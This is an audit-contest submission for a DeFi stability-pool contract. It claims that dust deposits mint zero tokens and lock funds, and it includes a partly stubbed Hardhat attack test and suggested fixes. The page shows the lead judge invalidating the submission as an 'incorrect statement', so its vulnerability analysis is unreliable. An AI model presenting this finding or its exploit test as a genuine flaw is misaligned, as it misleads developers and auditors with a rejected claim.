Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

StabilityPool Dust Deposit Vulnerability Leads to Permanent Fund Lock

Summary

The StabilityPool.sol contract allows deposits of arbitrarily small amounts without enforcing minimum thresholds. Due to rounding in exchange rate calculations, this enables malicious users to perform dust deposits that result in zero deTokens being minted while the deposit is still recorded, leading to permanently locked funds.

Vulnerability Details

In the StabilityPool contract, the deposit function does not validate minimum deposit amounts:

function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
// @audit - No minimum deposit check
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}

The critical issue lies in calculateDeCRVUSDAmount() where tiny deposits result in zero deTokens due to division rounding:

function calculateDeCRVUSDAmount(uint256 rcrvUSDAmount) public view returns (uint256) {
// @audit - Division of tiny amounts rounds to zero
uint256 scalingFactor = 10**(18 + deTokenDecimals - rTokenDecimals);
return (rcrvUSDAmount * scalingFactor) / getExchangeRate();
}

Impact

This vulnerability has critical implications for the protocol:

  • Permanent Fund Lock: Deposits become permanently locked as users have no deTokens to withdraw them

  • Protocol State Corruption: Creates accounting inconsistencies between deposits and minted tokens

  • DoS Vector: Can be used to create numerous "dust entries" that waste gas and storage

  • Economic Impact: While individual amounts may be small, accumulated locked funds could be significant

Likelihood & Impact Analysis

  • Likelihood: HIGH - Easy to execute with minimal requirements

  • Impact: MEDIUM - Individual impact limited by dust amounts, but can accumulate

  • Overall: MEDIUM

Proof of Concept

The following narrative demonstrates exploiting this vulnerability:

  1. Alice is a malicious user who wants to cause trouble in the protocol

  2. She notices there's no minimum deposit check in StabilityPool

  3. She calculates the smallest amount that will result in zero deTokens

  4. She executes multiple dust deposits creating locked funds and state bloat

This attack can be reproduced with the following test:

describe("Dust Deposit Attack", function() {
let stabilityPool, rToken, deToken;
let attacker;
const DUST_AMOUNT = 1; // 1 wei
beforeEach(async function() {
[attacker] = await ethers.getSigners();
// Contract deployment & setup code...
});
it("Permanently locks funds through dust deposits", async function() {
console.log("\n--- Starting Dust Deposit Attack ---");
// 1. Record initial state
const initialBalance = await rToken.balanceOf(attacker.address);
console.log(`Initial rToken balance: ${initialBalance}`);
// 2. Perform dust deposit
await stabilityPool.connect(attacker).deposit(DUST_AMOUNT);
console.log(`Deposited dust amount: ${DUST_AMOUNT} wei`);
// 3. Verify deToken minting failed
const deTokenBalance = await deToken.balanceOf(attacker.address);
expect(deTokenBalance).to.equal(0);
console.log("deToken balance is zero as expected");
// 4. Verify deposit was recorded
const recordedDeposit = await stabilityPool.userDeposits(attacker.address);
expect(recordedDeposit).to.equal(DUST_AMOUNT);
console.log("Deposit recorded in state");
// 5. Attempt withdrawal (should fail)
await expect(
stabilityPool.connect(attacker).withdraw(DUST_AMOUNT)
).to.be.revertedWith("InsufficientBalance");
console.log("Withdrawal failed - funds locked!");
// 6. Verify final state
const finalBalance = await rToken.balanceOf(attacker.address);
expect(finalBalance).to.equal(initialBalance.sub(DUST_AMOUNT));
console.log("Funds confirmed locked in contract");
});
});

Tools Used

  • Manual code review

  • Hardhat testing framework

  • Slither static analyzer

Recommendations

  1. Implement minimum deposit amount:

contract StabilityPool {
uint256 public constant MIN_DEPOSIT = 1e6; // 1 USDC minimum
function deposit(uint256 amount) external {
require(amount >= MIN_DEPOSIT, "Deposit below minimum");
// Rest of function...
}
}
  1. Add rounding checks:

function calculateDeCRVUSDAmount(uint256 rcrvUSDAmount) public view returns (uint256) {
uint256 deAmount = // calculation...
require(deAmount > 0, "Amount too small");
return deAmount;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.